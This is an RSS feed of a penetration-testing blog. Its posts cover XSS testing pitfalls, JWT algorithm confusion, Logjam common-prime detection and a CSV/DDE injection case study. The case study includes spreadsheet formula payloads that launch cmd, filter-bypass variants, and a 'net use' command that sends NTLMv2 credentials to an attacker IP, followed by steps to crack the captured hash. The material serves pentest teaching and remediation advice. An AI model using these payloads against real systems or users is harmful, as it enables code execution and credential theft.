<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Explore Security &#187; Penetration Testing</title>
	<atom:link href="https://www.exploresecurity.com/category/penetration-testing/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.exploresecurity.com</link>
	<description>IT security tools, techniques and commentary</description>
	<lastBuildDate>Wed, 15 Jun 2022 09:21:02 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.6.1</generator>
		<item>
		<title>The Case of the Customer Data and the Third-Party Analytics Site</title>
		<link>https://www.exploresecurity.com/the-case-of-the-customer-data-and-the-third-party-analytics-site/</link>
		<comments>https://www.exploresecurity.com/the-case-of-the-customer-data-and-the-third-party-analytics-site/#comments</comments>
		<pubDate>Fri, 17 May 2019 15:32:32 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Data Privacy]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[GDPR]]></category>
		<category><![CDATA[penetration testing]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=460</guid>
		<description><![CDATA[I recently had an article published on the NCC Group blog about a pentest during which it became clear that customer personal data was being sent to a third party. It&#8217;s common for websites to use metrics/analytics services to collect usage data on how users are interacting with the sites. I thought it would be [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>I recently had an article <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/may/the-case-of-the-customer-data-and-the-third-party-analytics-site/">published</a> on the NCC Group blog about a pentest during which it became clear that customer personal data was being sent to a third party. It&#8217;s common for websites to use metrics/analytics services to collect usage data on how users are interacting with the sites. I thought it would be useful to highlight the danger of sensitive data being accidentally sent to third parties without due care and attention paid to GDPR. Have a read!</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/the-case-of-the-customer-data-and-the-third-party-analytics-site/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JWT Attack Walk-Through</title>
		<link>https://www.exploresecurity.com/jwt-attack-walk-through/</link>
		<comments>https://www.exploresecurity.com/jwt-attack-walk-through/#comments</comments>
		<pubDate>Fri, 25 Jan 2019 10:13:31 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[JWT]]></category>
		<category><![CDATA[OpenSSL]]></category>
		<category><![CDATA[web apps]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=455</guid>
		<description><![CDATA[Over on the NCC Group website I published a solution to an open demonstration of the well-known JSON Web Token (JWT) algorithm confusion vulnerability (the one where you swap the token algorithm from &#8216;RS&#8217; to &#8216;HS&#8217; and sign your payload with the public key). I use OpenSSL to gain full visibility of what&#8217;s happening and, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Over on the NCC Group website I <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/">published</a> a solution to an open demonstration of the well-known JSON Web Token (JWT) algorithm confusion vulnerability (the one where you swap the token algorithm from &#8216;RS&#8217; to &#8216;HS&#8217; and sign your payload with the <em>public</em> key). I use OpenSSL to gain full visibility of what&#8217;s happening and, by walking through the method, if you ever need to test this vulnerability yourself, it will hopefully help to avoid false negatives.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/jwt-attack-walk-through/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Missing XSS flaws with innerHTML and jQuery</title>
		<link>https://www.exploresecurity.com/missing-xss-flaws-with-innerhtml-and-jquery/</link>
		<comments>https://www.exploresecurity.com/missing-xss-flaws-with-innerhtml-and-jquery/#comments</comments>
		<pubDate>Wed, 28 Mar 2018 15:11:42 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[web apps]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=440</guid>
		<description><![CDATA[I thought a couple of gotchas when testing for XSS could be a useful post. Not new, especially, but I haven&#8217;t posted for a while. It shows how you might think you&#8217;ve covered an area of a web application and declared it free from XSS but in fact there might be a bug left behind. [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>I thought a couple of gotchas when testing for XSS could be a useful post. Not new, especially, but I haven&#8217;t posted for a while. It shows how you might think you&#8217;ve covered an area of a web application and declared it free from XSS but in fact there might be a bug left behind.<span id="more-440"></span></p>
<p>These days a typical web app pulls in data from background XHR requests, the responses come back in a data format like JSON, and the data is parsed client-side and inserted into the DOM of the page. This means, of course, that the encoding of the data in the response is not sufficient by itself to know whether there’s a potential XSS risk – it depends how the data is finally encoded when inserted into the page. But consider the following:</p>
<ol>
<li>You enter <code>&lt;script&gt;alert(1)&lt;/script&gt;</code> hoping for a quick and dirty win – nothing</li>
<li>You suspect input validation so you enter something that you hope will pass validation but test encoding, e.g. <code>xss &lt; &gt; test</code></li>
<li>You inspect the page using the browser dev tools and see it has been inserted as <code>xss &amp;lt; &amp;gt; test</code></li>
<li>So the encoding looks good, and you move on -</li>
</ol>
<p>But wait! Even dangerous DOM manipulation can perform encoding in a text context. For example, <code>innerHTML</code> will observe the <a href="https://w3c.github.io/DOM-Parsing/#xml-serializing-a-text-node">rules</a> and, in a text context, will encode <code>&lt;</code> as <code>&amp;lt;</code> and <code>&gt;</code> as <code>&amp;gt;</code> (and <code>&amp;</code> as <code>&amp;amp;</code> in fact), otherwise those characters are inserted/parsed literally. So the encoding seen in step 3 could be explained by this, meaning that the potential for XSS still exists. It’s precisely because jQuery uses <code>innerHTML</code> as part of functions like <a href="http://api.jquery.com/append/"><em>append()</em></a> that the documentation is full of caveats about not using data from &#8220;untrusted sources&#8221;.</p>
<p>Let’s assume the developers haven’t thought about XSS at all. So why did step 1 fail? This is because the <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">spec</a> says &#8220;script elements inserted using <code>innerHTML</code> do not execute when they are inserted&#8221;. If the first test case had been <code>&lt;img src=x onerror=alert(1)&gt;</code> the XSS would have been revealed in step 1.</p>
<p>Hope that’s of some use!</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/missing-xss-flaws-with-innerhtml-and-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>From CSV to CMD to qwerty</title>
		<link>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/</link>
		<comments>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/#comments</comments>
		<pubDate>Tue, 19 Apr 2016 22:53:41 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[CSV]]></category>
		<category><![CDATA[DDE]]></category>
		<category><![CDATA[Excel]]></category>
		<category><![CDATA[XLS]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=415</guid>
		<description><![CDATA[The ongoing breach stories of targeted email campaigns harbouring malicious attachments made me think of writing up a summary of a presentation I gave at the amazing NCC Con held in Dublin in January this year. The talk was based on a pentesting war story that started off exploiting the old (but I believe often [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>The ongoing breach stories of targeted email campaigns harbouring malicious attachments made me think of writing up a summary of a presentation I gave at the amazing <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/january/ncc-con-europe-2016/">NCC Con</a> held in Dublin in January this year. The talk was based on a pentesting war story that started off exploiting the old (but I believe often overlooked) Dynamic Data Exchange (DDE) trick to go from an Excel export function in a web app to OS code running on users&#8217; workstations. From there, the story takes us on to domain creds via some NTLMv2 theory (without a pentest laptop), a bug in hashcat and a new script &#8220;catflap&#8221;.<span id="more-415"></span></p>
<p>[EDIT - for more of the <em>CSV</em> and <em>CMD</em> and less of the <em>qwerty</em>, take a look at this <a href="http://www.slideshare.net/exploresecurity/camsec-sept-2016-tricks-to-improve-web-app-excel-export-attacks">presentation</a> I did later in the year.]</p>
<h3>From CSV to CMD</h3>
<p>DDE is an old <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx">Microsoft technology</a> used to facilitate data transfer between applications, a form of Inter-Process Communication (IPC). The security risks in the context of web applications were, to my knowledge, first published <a href="http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/">here</a> by <a href="https://twitter.com/albinowax">James Kettle</a> (I would have sworn this technique was around before 2014 &#8211; how time flies).</p>
<p>A brief reminder then: imagine an export function in a web app, where some of the data in the cells comes from user input (so like persistent XSS it is stored and later reflected) e.g. consider an application that stores the following parameter value:</p>
<p><code><span style="font-size: 0.857143rem; line-height: 2;">=cmd|'/k ipconfig'!A0</span></code></p>
<p style="text-align: left;">On requesting an export, a CSV file is returned that includes this value in a field. When this file is opened, Excel knows that this DDE reference could be dangerous and issues a couple of warnings:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning1.png"><img class="aligncenter  wp-image-417" alt="warning1" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning1.png" width="410" height="194" /></a><a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning2.png"><img class="aligncenter size-full wp-image-416" alt="warning2" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning2.png" width="781" height="139" /></a>In this case, an eagle-eyed user might raise an eyebrow at CMD.EXE but, as the original article notes, if the user requested the Excel file and it came from a source they trust, why wouldn&#8217;t it be secure? And we know that users click through warnings anyway.</p>
<p style="text-align: left;">When <code>cmd /k ipconfig</code> runs, the /k persists the command window for a screenshot to use in the report <img src='https://www.exploresecurity.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> <a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/cmd-ipconfig.png"><img class="aligncenter size-full wp-image-420" alt="cmd-ipconfig" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/cmd-ipconfig.png" width="1437" height="455" /></a>In fact, without that persistence, the command seems to run in a minimised window and then of course exits, which is rather nice for our attacker. I should say that export to CSV seems to be cleaner from the attacker&#8217;s perspective than export to XLS or XLSX, which often requires extra action by the user to activate the payload such as clicking into the malicious cell, which isn&#8217;t desirable. All of this behaviour is subject to the version of Excel running and its configuration.</p>
<h3>From CMD to qwerty</h3>
<p>The war story concerned an <em>internal</em> application that was vulnerable to the DDE trick, and so I started playing around with payloads that would be more exciting than <code>ipconfig</code> or <code>calc</code>. Here&#8217;s a simple one:</p>
<p><code>cmd /c net use \\&lt;attacker_IP&gt;\c$</code></p>
<p>In this case the &#8220;attacker_IP&#8221; belonged to a locked-down workstation (no pentest laptops allowed) &#8211; but it did, curiously enough, have Wireshark installed. So here was the &#8220;net use&#8221; connection from the &#8220;victim&#8221; (which was in fact a machine I was using and thus I knew the username and password):<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/net-use.png"><img class="aligncenter size-full wp-image-421" alt="net-use" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/net-use.png" width="1189" height="303" /></a>Bear in mind this was an internal test: if the victim was using a vulnerable internet-facing website, their ISP would likely <em>[cough]</em> block the outgoing SMB connection.</p>
<p>I was dealing with NTLMv2 here: a quick <a href="http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats">reminder</a> showed that I needed to pull out the following for John:</p>
<p><strong><code>username:$<span style="color: green;">NETNTLMv2</span>$domain$challenge$HMAC-MD5$blob</code><br />
</strong><br />
What&#8217;s in <span style="color: green;"><strong>green</strong></span> is known at this point (&#8220;NETNTLMv2&#8243; is a constant). I could immediately fill in the domain and username fields as they&#8217;re given away in cleartext by the NTLMv2 exchange, helpfully pulled out in the (obfuscated) Packet List above (and anonymised below):</p>
<p><strong><code><span style="color: green;">smithjer</span>:$<span style="color: green;">NETNTLMv2</span>$<span style="color: green;">domain</span>$challenge$HMAC-MD5$blob<br />
</code></strong><br />
So what about the other bits? They all relate to the NTLM authentication, which is a challenge-handshake protocol:</p>
<p><b>1. Client &gt; Server (Type 1, negotiation)</b><br />
Features supported by the client and requested of the server<br />
<b>2. Server &gt; Client (Type 2, challenge)</b><br />
Features supported and agreed upon by the server + a challenge<br />
<b>3. Client &gt; Server (Type 3, authentication)</b><br />
More information about the client + response(s)</p>
<p>The essential difference between NTLM and NTLMv2 is how the response is calculated. NTLM uses MD4 and DES in a weak way which is well known (5 NULL bytes <em>yada yada yada</em>); NTLMv2 uses HMAC-MD5 based on more than just the password and challenge, which is where the &#8220;blob&#8221; comes in. So that&#8217;s covered off the &#8220;challenge&#8221;, &#8220;HMAC-MD5&#8243; and &#8220;blob&#8221; that&#8217;s missing from the John hash I&#8217;m having to build up from scratch. (Remember, I had no tools, otherwise <a href="https://github.com/SpiderLabs/Responder">Responder</a> would have made this easy.) Here&#8217;s the challenge:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/challenge.png"><img class="aligncenter size-full wp-image-422" alt="challenge" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/challenge.png" width="442" height="151" /></a>And here&#8217;s the HMAC-MD5 and blob (which is everything after the HMAC in the &#8220;NTLM Response tree&#8221;):<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/HMAC-blob.png"><img class="aligncenter size-full wp-image-423" alt="HMAC-blob" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/HMAC-blob.png" width="663" height="261" /></a><span style="line-height: 1.71429; font-size: 1rem;">To get the blob, you can copy the NTLM Response bytes from within Wireshark and remove the first 16 bytes (which is the HMAC). The blob is likely to start 0&#215;01010000&#8230;So we now have:</span></p>
<p><code><strong><span style="color: green;">smithjer</span>:$<span style="color: green;">NETNTLMv2</span>$<span style="color: green;">domain</span>$<span style="color: green;">36edff8376e59e18</span>$<span style="color: green;">4f68b56e9ce788d010f58b4f049b5c7f</span>$<span style="color: green;">0101000000000000295779de01bbd001b6f955bf062e...</span></strong><br />
</code><br />
That&#8217;s the hard part done, right? Wrong.</p>
<h3>Let&#8217;s get cracking</h3>
<p>Here was John&#8217;s response (bear in mind I knew the password), and, after duly modifying the hash format, hashcat wasn&#8217;t happy either:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-no-crack.png"><img class="aligncenter size-full wp-image-424" alt="hash-no-crack" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-no-crack.png" width="718" height="284" /></a><span style="line-height: 1.71429; font-size: 1rem;">Note the &#8220;skipping line&#8221; error. Turns out hashcat has a bug, which (I later found out) oclhashcat doesn&#8217;t suffer from. I experimented with it and </span><a style="line-height: 1.71429; font-size: 1rem;" href="https://github.com/hashcat/hashcat/issues/3">reported</a><span style="line-height: 1.71429; font-size: 1rem;"> it &#8211; hashcat has problems when the blob length is over 224 bytes. For some reason, it&#8217;s not been assigned a &#8220;bug&#8221; label but a &#8220;new feature&#8221; label. Anyway, back to John: remember the format on the cheatsheet was:</span></p>
<p><strong><code>username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob</code></strong></p>
<p>Turns out the hashcat format worked a treat, i.e.</p>
<p><code><strong>username::domain:challenge:HMAC-MD5:blob</strong></code></p>
<p>To be fair to pentestmonkey, &#8220;this sheet was originally based on john-1.7.8-jumbo-5. Changes in supported hashes or hash formats since then may not be reflected on this page&#8221;, and I was using a later version. Anyway, all&#8217;s well that ends well:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-cracked-john.png"><img class="aligncenter size-full wp-image-428" alt="hash-cracked-john" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-cracked-john.png" width="919" height="116" /></a></p>
<h3>catflap</h3>
<p>In order to look into the bug I found, I wrote a script (which I called <a href="https://github.com/exploresecurity/catflap"><em>catflap</em></a>) that serves two purposes:</p>
<ol>
<li>It extracts what hashcat needs from the NTLMv2 exchange in a Wireshark capture file.</li>
<li><span style="line-height: 1.71429; font-size: 1rem;">It allows you to produce a more realistic test case to check your NTLMv2 cracker is working properly. For this catflap will accept a normal hash format from a file as well as a capture file. catflap will recalculate the NTLMv2 response based on a password you supply. This means all the other variables (username, domain, challenge and, crucially, the blob) in the resulting test hash are exactly the same as the ones in your captured exchange, but in this test case you know the password. In this way you can ensure your cracking tool is working correctly, and acts as a better test than the standard hash examples out there, useful though they are. Of course, you could also play about with other inputs, which is what I did with the blob find the bug.</span></li>
</ol>
<p>Usage is simply:</p>
<p><code>catflap &lt;capture_file | hashcat_file&gt; [password]</code></p>
<p>The following shows catflap changing the HMAC response to set the password to &#8220;password&#8221;:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/catflap.png"><img class="aligncenter size-full wp-image-429" alt="catflap" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/catflap.png" width="962" height="400" /></a>You can then run that edited hash through your cracker of choice to ensure it spits out &#8220;password&#8221;. If not, something&#8217;s gone wrong. You can find catflap on <a href="https://github.com/exploresecurity/catflap">github</a>.</p>
<h3>Input validation and sanitisation</h3>
<p>Whenever I find an Excel export function in a web app, most of the time the DDE trick works because the characters used to launch the payload aren&#8217;t the usual suspects. It&#8217;s not a well-known attack vector, even among pentesters (or at least it&#8217;s been forgotten) so it&#8217;s worth remembering to check for this.</p>
<p>What about remediation? The <a href="https://web.archive.org/web/20160324063226/http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/"><em>original</em></a> article on this stated that &#8220;the best defence strategy we are aware of is prefixing cells that start with &#8216;=&#8217; with an apostrophe&#8221;. Last month this topic came up in a company-wide discussion at <a href="https://www.nccgroup.trust/">work</a>, and my colleague <a href="https://twitter.com/bones_codes">Cara Marie</a> noted that &#8216;+&#8217; and &#8216;-&#8217; could be used to launch a command too. Turns out (thanks to Michael Roberts, another NCC bod) that this had been lurking around for while, for example <a href="https://hackerone.com/reports/72785">here</a>). Michael added that you can also use &#8216;@&#8217; in the format:</p>
<p><code>@SUM(cmd|'/c calc'!A0)</code></p>
<p>as well as surrounding the payload with quotes such as:</p>
<p><code>"=cmd|'/c calc'!A0"</code>.</p>
<p>Over this last month the original article has been updated twice to reflect the same findings (except for the use of quotes). So, as far as I know, two independent groups came up with new bypasses for the original recommendation. The point here, then, is that the blacklist approach by itself often fails (which shouldn&#8217;t be news to anyone who&#8217;s done a re-test). We need to perform validation based on a whitelist of characters and syntax wherever possible. For example, if a field is a phone number, there should be no need for characters such as &#8216;=&#8217; and &#8216;@&#8217;. Starting off with &#8216;+&#8217; is reasonable (prefixing an international dialling code) but after that we shouldn&#8217;t see any non-numeric characters. We can also restrict the length of that field too. With these restrictions in place, we don&#8217;t even need to implement (and maintain) a blacklist.</p>
<h3>Red teaming</h3>
<p>The story of this article was set around a web application that allowed export but the DDE trick is valuable to red teams trying to get malicious attachments through email. The reason for this is that a DDE payload isn&#8217;t a macro and files that use it are often able to fly through perimeter content checks that would stop files with macros.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>A Thick Spread of Logjam</title>
		<link>https://www.exploresecurity.com/a-thick-spread-of-logjam/</link>
		<comments>https://www.exploresecurity.com/a-thick-spread-of-logjam/#comments</comments>
		<pubDate>Mon, 20 Jul 2015 22:26:59 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[SSL/TLS]]></category>
		<category><![CDATA[Logjam]]></category>
		<category><![CDATA[OpenSSL]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=404</guid>
		<description><![CDATA[This article dissects the recent Logjam paper from a pentesting viewpoint to reveal a number of different factors that affect the impact of the vulnerability. One of those factors includes the use of common primes and I&#8217;ve included a small change to OpenSSL that you can use to look out for this. Two for the [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>This article dissects the recent Logjam paper from a pentesting viewpoint to reveal a number of different factors that affect the impact of the vulnerability. One of those factors includes the use of common primes and I&#8217;ve included a small change to OpenSSL that you can use to look out for this.<span id="more-404"></span></p>
<h3>Two for the price of one</h3>
<p>For me, the penny dropped when I realised that the <a href="https://weakdh.org/imperfect-forward-secrecy.pdf">Logjam paper</a> sets out <em>two</em> strategies. The first is a <em>cryptanalytic</em> attack that uses pre-computation to speed up the process of cracking a Diffie-Hellman (DH) key exchange. The second is a <em>protocol</em> attack that allows weaker export-grade versions of DH-based cipher suites to be selected, so long as they are supported by the server. A man-in-the-middle attacker who can make use of the second technique can downgrade vulnerable connections, which helps the first attack by forcing the use of weaker cryptography. But an attacker doesn&#8217;t <em>have</em> to rely on the downgrade trick for an attack on the security of the connection to succeed. It all depends on what the attacker wants to achieve and what position they are in.</p>
<h3>Attack scenarios</h3>
<p>If the attacker wants to modify the data in transit then the attack must be performed in real time. The attacker must be a man-in-the-middle and have access to sufficient computing resources to perform the necessary cryptanalysis in a short space of time. To ease the cryptanalysis, if the attacker can downgrade the connection to using a 512-bit prime, then so much the better. That&#8217;s only possible if the server supports export-grade DH cipher suites. In the opinion of the Logjam authors, any 512-bit prime should be considered vulnerable but a 768-bit, and certainly a 1024-bit, DH prime would require a serious amount of effort to attack.</p>
<p>In contrast, decrypting (but not modifying) the secure traffic from a connection that begins with a DH key exchange can be done <em>passively</em> in slower time: the attacker can capture the traffic and run the cryptanalysis offline. In this case, the attacker must contend with whatever strength of DH prime was selected during the TLS negotiation, which is unlikely to be 512-bit. For passive attacks, cipher suite preference is therefore more important: if the server prefers a common cipher suite that <em>isn&#8217;t</em> based on the standard DH key exchange (e.g. AES256-SHA) then a passive attack is very unlikely to succeed.</p>
<h3>Client-side fixes</h3>
<p>As with a number of previous TLS bugs, browsers have applied plasters to the sores to try to mitigate the impact. Although the downgrade attack exploited a weakness in the TLS <em>protocol</em> rather than an implementation flaw, refusing to accept 512-bit DH primes is a quick and effective solution. But taking that strategy all the way up to 1024-bit primes is dangerous in terms of user experience &#8211; users could start complaining that sites are suddenly inaccessible. So the success of client-side &#8220;patching&#8221; will depend on the vendors, the minimum size of DH prime their browser accepts and the user’s update regime.</p>
<h3>Common primes</h3>
<p>Another factor to consider is the prime itself. The Logjam paper noted that servers tend to re-use it &#8211; and, not only that, but the same primes are in circulation across different implementations. The pre-computation work for the cryptanalysis is based on a single DH prime so it&#8217;s in the attacker&#8217;s interest to do the number crunching for primes that are most widely used. A server that uses a common prime is thus more of a target. But what are these common primes? The Logjam paper itself makes explicit reference to two 512-bit primes. A number of larger primes can be found by inspecting the JavaScript behind the <a href="https://weakdh.org/sysadmin.html">server test page</a> on the Logjam site. You can test for a dozen common primes by adding a bit of code to the file <code>apps/s_cb.c</code> before compiling OpenSSL. Since version 1.0.2 the default output includes a line, when appropriate, beginning “Server Temp Key”, e.g.<br />
<a href="http://www.exploresecurity.com/wp-content/uploads/2015/07/server_temp_key.png"><img class="aligncenter size-full wp-image-405" alt="server_temp_key" src="http://www.exploresecurity.com/wp-content/uploads/2015/07/server_temp_key.png" width="387" height="97" /></a><br />
Insert the following lines after the line that outputs the bit length, which is <code>BIO_printf(out, "DH, %d bits\n", EVP_PKEY_bits(key));</code> (line 519 for the current version 1.0.2d):<br />
<code></code></p>
<pre>if (EVP_PKEY_bits(key) &gt; 1024)
   break;
const char *common[12]; // common primes from https://weakdh.org/imperfect-forward-secrecy.pdf, https://weakdh.org/docheck.js
common[0] = "9FDB8B8A004544F0045F1737D0BA2E0B274CDF1A9F588218FB435316A16E374171FD19D8D8F37C39BF863FD60E3E300680A3030C6E4C3757D08F70E6AA871033";
common[1] = "D4BCD52406F69B35994B88DE5DB89682C8157F62D8F33633EE5772F11F05AB22D6B5145B9F241E5ACC31FF090A4BC71148976F76795094E71E7903529F5A824B";
common[2] = "E9E642599D355F37C97FFD3567120B8E25C9CD43E927B3A9670FBEC5D890141922D2C3B3AD2480093799869D1E846AAB49FAB0AD26D2CE6A22219D470BCE7D777D4A21FBE9C270B57F607002F3CEF8393694CF45EE3688C11A8C56AB127A3DAF";
common[3] = "D67DE440CBBBDC1936D693D34AFD0AD50C84D239A45F520BB88174CB98BCE951849F912E639C72FB13B4B4D7177E16D55AC179BA420B2A29FE324A467A635E81FF5901377BEDDCFD33168A461AAD3B72DAE8860078045B07A7DBCA7874087D1510EA9FCC9DDD330507DD62DB88AEAA747DE0F4D6E2BD68B0E7393E0F24218EB3";
common[4] = "BBBC2DCAD84674907C43FCF580E9CFDBD958A3F568B42D4B08EED4EB0FB3504C6C030276E710800C5CCBBAA8922614C5BEECA565A5FDF1D287A2BC049BE6778060E91A92A757E3048F68B076F7D36CC8F29BA5DF81DC2CA725ECE66270CC9A5035D8CECEEF9EA0274A63AB1E58FAFD4988D0F65D146757DA071DF045CFE16B9B";
common[5] = "E6969D3D495BE32C7CF180C3BDD4798E91B7818251BB055E2A2064904A79A770FA15A259CBD523A6A6EF09C43048D5A22F971F3C20129B48000E6EDD061CBC053E371D794E5327DF611EBBBE1BAC9B5C6044CF023D76E05EEA9BAD991B13A63C974E9EF1839EB5DB125136F7262E56A8871538DFD823C6505085E21F0DD5C86B";
common[6] = "C9BBF5F774A8297B0F97CDDA3A3468C7117B6BF799A13D9F1F5DAC487B2241FE95EFB13C2855DFD2F898B3F99188E24EDF326DD68C76CC85537283512D46F1953129C693364D8C71202EABB3EBC85C1DF53907FBD0B7EB490AD0BC99289686800C46AB04BF7CDD9AD425E6FB25592EB6258A0655D75E93B2671746AE349E721B";
common[7] = "CD5C22FAEA0C53C39E602242C088FA0EA31586F472E9B04606AEDFB35F56C4948095F687B388575FA1700DB3D02253025A523AC76E9646F755A12338653AE071CB64F185591C34C6673FAC9B78DC4D71E53F3A5CCA6326F89C5400FBF8272A76367C630E234A905E4E558CDA968A46A136AD3088DD295F934EC36ADB5F69C3F3";
common[8] = "92402435C3A12E44D3730D8E78CADFA78E2F5B51A956BFF4DB8E56523E9695E63E32506CFEB912F2A77D22E71BB54C8680893B82AD1BCF337F7F7796D3FB968181D9BA1F7034ABFB1F97B3104CF3203F663E81990B7E090F6C4C5EE1A0E57EC174D3E84AD9E72E6AC7DA6AEA12DF297C131854FBF21AC4E879C23BBC60B4F753";
common[9] = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF";
common[10] = "D6C094AD57F5374F68D58C7B096872D945CEE1F82664E0594421E1D5E3C8E98BC3F0A6AF8F92F19E3FEF9337B99B9C93A055D55A96E425734005A68ED47040FDF00A55936EBA4B93F64CBA1A004E4513611C9B217438A703A2060C2038D0CFAAFFBBA48FB9DAC4B2450DC58CB0320A0317E2A31B44A02787C657FB0C0CBEC11D";
common[11] = "B10B8F96A080E01DDE92DE5EAE5D54EC52C99FBCFB06A3C69A6A9DCA52D23B616073E28675A23D189838EF1E2EE652C013ECB4AEA906112324975C3CD49B83BFACCBDD7D90C4BD7098488E9C219A73724EFFD6FAE5644738FAA31A4FF55BCCC0A151AF5F0DC8B4BD45BF37DF365C1A65E68CFDA76D4DA708DF1FB2BC2E4A4371";

char *prime;
prime = BN_bn2hex(key-&gt;pkey.dh-&gt;p);
BIO_printf(out, "---&gt; DH prime: %s\n", prime);
int i;
for (i = 0; i &lt; 12; i++) {    if (!strcmp(prime, common[i])) {        BIO_puts(out, "---&gt; Warning - common prime!\n");
       break;
   }
}</pre>
<p>So you should have something like:<br />
<a href="http://www.exploresecurity.com/wp-content/uploads/2015/07/openssl_code.png"><img class="aligncenter size-full wp-image-406" alt="openssl_code" src="http://www.exploresecurity.com/wp-content/uploads/2015/07/openssl_code.png" width="404" height="410" /></a><br />
Now you’ll get output such as:<br />
<a href="http://www.exploresecurity.com/wp-content/uploads/2015/07/common_prime.png"><img class="aligncenter size-full wp-image-407" alt="common_prime" src="http://www.exploresecurity.com/wp-content/uploads/2015/07/common_prime.png" width="375" height="101" /></a><br />
Remember that you may need to employ the <code>-cipher DH</code> parameter to force OpenSSL to use a DH-based cipher suite. If export-grade as well as stronger DH suites are supported then you&#8217;ll also have to use something like <code>-cipher EXP</code> on a second connection to ensure you test the commonality of both primes.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/a-thick-spread-of-logjam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Why Behind Web Application Penetration Test Prerequisites</title>
		<link>https://www.exploresecurity.com/the-why-behind-web-application-penetration-test-prerequisites/</link>
		<comments>https://www.exploresecurity.com/the-why-behind-web-application-penetration-test-prerequisites/#comments</comments>
		<pubDate>Thu, 18 Jun 2015 12:07:44 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>

